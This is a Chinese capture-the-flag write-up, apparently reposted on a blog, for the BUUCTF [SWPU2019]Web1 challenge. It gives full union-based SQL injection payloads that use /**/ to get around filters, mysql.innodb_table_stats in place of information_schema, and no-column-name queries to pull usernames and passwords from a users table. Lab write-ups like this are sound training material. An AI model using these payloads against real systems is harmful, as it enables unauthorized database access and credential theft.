渗透之sql注入---实战1

news2024/11/27 12:13:30

本期的sql注入实战在:BUUCTF在线评测 (buuoj.cn)   该网站上进行。

启动靶机:

1.进来后搜索web1

2.点击【SWPU2019】Web1启动靶机。

3.进来之后在此界面进行注入。

开始注入:

1.找注入点:

我们输入1' 后查看广告详情发现报错,说明我们找到了注入点1'   

2.爆破列数

已经存在注入点,就需要找出所在表的列数,并找出在哪一列出数据,我们才能进行下一步。

经过测试,我们发现被过滤了几个东西:

  • order  by被过滤
  • 空格被过滤了
  • #号被过滤了
  • -- 被过滤
  • and被过滤了

替代方法:使用group  by替代order by,空格有一种常规的替代使用/**/

注意1:当我们 使用&&闭合时会出现我们,即使写的再大都不会报错,如下图:说明&&有问题我们不能使用。

                                

爆列数:

在这里使用如下方法进行闭合:在sql语句后面接一个数字时,sql语句还是会正常执行。经过测试发现当group  by 22时不会报错,当group  by 23时会报错。说当前所在表的列数为22列。

group  by 22:

group  by 23 :

所以:可以得知当前表的列数为22。

还要一种爆破出列数的方法:

直接使用: union  select 1,2,3,4..........

一个一个试,知道不报错为止。

3爆出数据的列

使用:因为后面有一个数字来闭合所以只需要写21个数字。

-1'/**/union/**/select/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'10

可以看到,数据出在2,3列

4爆数据库名和用户名

-1'/**/union/**/select/**/1,database(),user(),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'10

5爆表名

经过测试:information_schema被过滤。

我们使用另一个来替代它:mysql.innodb_table_stats

查看表结构:

输入:

-1'/**/union/**/select/**/1,group_concat(table_name),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22/**/from/**/mysql.innodb_table_stats/**/where/**/database_name="web1"&&'1'='1

此时,我们就可以查看出当前数据库web1中的表有:ads,users两张表。

6无列明注入

根据mysql.innodb_table_stats结构我们可以知道其中并没有记录字段名的信息。

我们可以根据连接查询将列明爆出了:使用jion

但是再这里jion被过滤了,就再也没有办法来爆出列名了。此时我们只能使用无列名注入来进行下一步操作了。

两张表:ads  users

先查询ads,在ads中只有2,3字段出数据,所以我们只能查2,3字段的数据。

ads第二字段数据:

可以看出该字段没有数据。

-1'/**/union/**/select/**/1,(select/**/group_concat(b)/**/from/**/(select/**/1,2/**/as/**/b,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22/**/union/**/select/**/*/**/from/**/ads)as/**/a),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'1

ads第三字段数据:

可以看出来虽然查出来了数据但这些数据都不是我们想要的。所以接下来我们需要在users表中查询数据。

-1'/**/union/**/select/**/1,(select/**/group_concat(b)/**/from/**/(select/**/1,2/**/as/**/b,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22/**/union/**/select/**/*/**/from/**/ads)as/**/a),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'1

在users表中查询:

目前我们不知道users表中有几列,这时我们可以一个一个试。因为users表中至少有一列,我们直接试到出数据为止:

假设users有一列:

-1'/**/union/**/select/**/1,(select/**/group_concat(aa)/**/from(select/**/1/**/as/**/aa/**/union/**/select/**/*/**/from/**/users)as/**/a),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'1

假设users有两列:

-1'/**/union/**/select/**/1,(select/**/group_concat(aa)/**/from(select/**/1/**/as/**/aa,2/**/union/**/select/**/*/**/from/**/users)as/**/a),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'1

假设users有三列:

-1'/**/union/**/select/**/1,(select/**/group_concat(aa)/**/from(select/**/1/**/as/**/aa,2/**/union/**/select/**/*/**/from/**/users)as/**/a),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'1

当试到三列的时候出数据了,并且没有报错。

这里出的数据为users表第一列的数据:

users表第二列数据:

-1'/**/union/**/select/**/1,(select/**/group_concat(aa)/**/from(select/**/1,2/**/as/**/aa,3/**/union/**/select/**/*/**/from/**/users)as/**/a),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'1

users表第三列数据:

-1'/**/union/**/select/**/1,(select/**/group_concat(aa)/**/from(select/**/1,2,3/**/as/**/aa/**/union/**/select/**/*/**/from/**/users)as/**/a),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'1

到此我们就吧users表中的所有数据查出来了,明显第二列为用户名,第三列为密码,密码一般都被加密了的。

到此我们就成功的完成了一次sql注入,成功的拿到了用户名和密码。

总结:这次实战过滤了几个我们常用的字符,当被过滤后我们就需要去思考使用其他的去替代它。整体不是很难,不过需要我们仔细。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1635104.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

基于OpenCv的图像基本操作

⚠申明: 未经许可,禁止以任何形式转载,若要引用,请标注链接地址。 全文共计3077字,阅读大概需要3分钟 🌈更多学习内容, 欢迎👏关注👀【文末】我的个人微信公众号&#xf…

Multi-Head Multi-Loss Model Calibration论文速读

文章目录 Multi-Head Multi-Loss Model Calibration摘要方法Multi-Head Ensemble Diversity 实验结果 Multi-Head Multi-Loss Model Calibration 摘要 当然,我会按照你的要求逐步列出: 背景: 提供有意义的不确定性估计对于机器学习模型在…

前端打包过大如何解决?

前端开发完毕部署到线上是,执行npm run build。当打包过大时,部署到服务端后加载缓慢,如何优化? 我们可以通过执行npm run analyze。可以看到各个包文件大小的区别。 当打包过大时,通过压缩gzip的方式,可以…

数据结构——栈的应用

数据结构——栈的应用 括号匹配中缀转后缀什么是中缀后缀中缀表达式 (Infix Notation)后缀表达式 (Postfix Notation, Reverse Polish Notation, RPN) 加减,乘除运算处理括号后缀转中缀 我们今天来看栈的应用: 括号匹配 栈一个经典的应用就是括号匹配&…

前端如何将接口传来的列表数据(数组)直接下载成csv文件

前言:最近遇到一个需求,需要实现一个下载表格数据的操作,一般来说是前端请求后端的下载接口,将文件流下载下来,但是因为这个项目任务时间比较紧,后端没时间做下载接口,所以暂时由前端直接调列表…

[iOS]使用CocoaPods发布公开库

1.检查库名是否已被占用 选择库名时,尽量选择具有描述性并且独特的名字,这不仅可以避免命名冲突,还可以帮助用户更好地理解库的用途和功能。 在实际创建和发布 CocoaPods 库之前,确实应该检查库名是否已经被占用,以避…

C++ | Leetcode C++题解之第58题最后一个单词的长度

题目: 题解: class Solution { public:int lengthOfLastWord(string s) {int index s.size() - 1;while (s[index] ) {index--;}int wordLength 0;while (index > 0 && s[index] ! ) {wordLength;index--;}return wordLength;} };

HTTP:强缓存优化实践

强缓存:浏览器不会向服务器发送任何请求,直接从本地缓存中读取文件 强缓存是指浏览器在向服务器请求资源时,判断本地是否存在该资源的缓存,并判断是否过期。 如果本地缓存未过期,浏览器就直接使用本地缓存&#xff0c…

Threejs制作服务器机房冷却结构

这节再绘制一个机房的结构,因为内容比较简单,就只使用一个章节来介绍, 先来一张效果图, 需要两个模型:一个冷却设备,一个服务器机箱,我这里是从网上找来的,首先我们搭建一个场景&a…

AWTK 集成 OGRE 3D 图形引擎

本项目演示了如何在 AWTK 中集成 OGRE3D。 0. 准备 先编译 AWTK, 并在 env.sh 中设置 awtk 的路径。需要安装 cmake 1. 生成资源 python scripts/update_res.py all2. 编译 设置环境变量 source env.sh source env_rt.sh编译 ogre 库 cd 3rd build_assimp.sh build_ogre.…

我们自己的芯片指令集架构——龙芯架构简介

CPU指令集架构(ISA, Instruction Set Architecture) CPU指令集架构是处理器硬件与软件之间的接口规范,它定义了一组基本指令,以及这些指令的操作格式、编码方式、寻址模式、寄存器组织、中断机制、异常处理等各个方面。ISA是计算…

uniApp+Vue3+vite+Element UI或者Element Plus开发学习,使用vite构建管理项目,HBuilderX做为开发者工具

我们通常给小程序或者app开发后台时,不可避免的要用到可视化的数据管理后台,而vue和Element是我们目前比较主流的开发管理后台的主流搭配。所以今天石头哥就带大家来一起学习下vue3和Element plus的开发。 准备工作 1,下载HBuilderX 开发者…

Camera设备上晶体晶振的应用

IPC行业现状的分析 IP Camera起源于20世纪90年代,最早应用于监控系统中。 随着AI技术、云服务以及IoT技术的发展,IPC已经从安防监控向智慧城市、智能家居、自动驾驶、智能医疗等行业领域拓展,不单单传统地应用于工业,个人和家庭的…

《QT实用小工具·四十八》趣味开关

1、概述 源码放在文章末尾 该项目实现了各种样式的趣味开关: 1、爱心形状的switch开关,支持手势拖动、按压效果 2、线条样式的3种开关 项目demo演示如下所示: 使用方式: 1、sapid_switch文件夹加入工程,.pro文件中…

ActiveMQ 反序列化漏洞 (CVE-2015-5254)

一、漏洞描述 Apache ActiveMQ 是由美国阿帕奇(Apache)软件基金会开发的开源消息中间件,支持 Java 消息服务、集群、Spring 框架等。属于消息队列组件(消息队列组件:分布式系统中的重要组件,主要解决应用耦合、异步消息…

基于SpringBoot+Vue大学生兼职管理系统的设计与实现

目录 一、前言介绍 二、功能需求 三、功能结构设计 四、管理员功能实现 招聘单位管理 用户管理 论坛管理 公告信息管理 五、招聘单位功能实现 职位招聘管理 职位留言管理 简历投递管理 六、用户功能实现 在线论坛 职位招聘信息 简历投递 简历 七、部分核心代码 …

深入Rust标准库:必备的Rust语言高级指南

💂 个人网站:【 摸鱼游戏】【神级代码资源网站】【工具大全】🤟 一站式轻松构建小程序、Web网站、移动应用:👉注册地址🤟 基于Web端打造的:👉轻量化工具创作平台💅 想寻找共同学习交…

windows rabbitMq安装

一、Erlang 环境准备 下载安装包 跟我们跑java项目,要装jdk类似。rabbitMQ是基于Erlang开发的,因此安装rabbitMQ服务器之前,需要先安装Erlang环境。 官网直接下载windows直装版本:https://www.erlang.org/downloads 无脑安装&a…

用自然语言来编程GitHub Copilot;提高代码质量开源工具GPTLint;LLMs开源医学Meditron

✨ 1: GitHub Copilot Workspace 以Copilot 为中心的创新开发者环境,让开发者能用自然语言从构思到编码再到软件开发。 GitHub Copilot Workspace是一个以Copilot为中心的开发者环境,旨在使用自然语言从构思、编码到软件开发的全过程中提供帮助。它标志…

一、OSPF基础

目录 1.路由协议的优先级 2.转发原则:最长匹配原则 3.负载分担 4.路由备份(浮动路由) 5.路由协议的分类 6.动态路由 7.距离矢量路由协议(BGP,RIP) 8.链路状态路由协议(OSPF,I…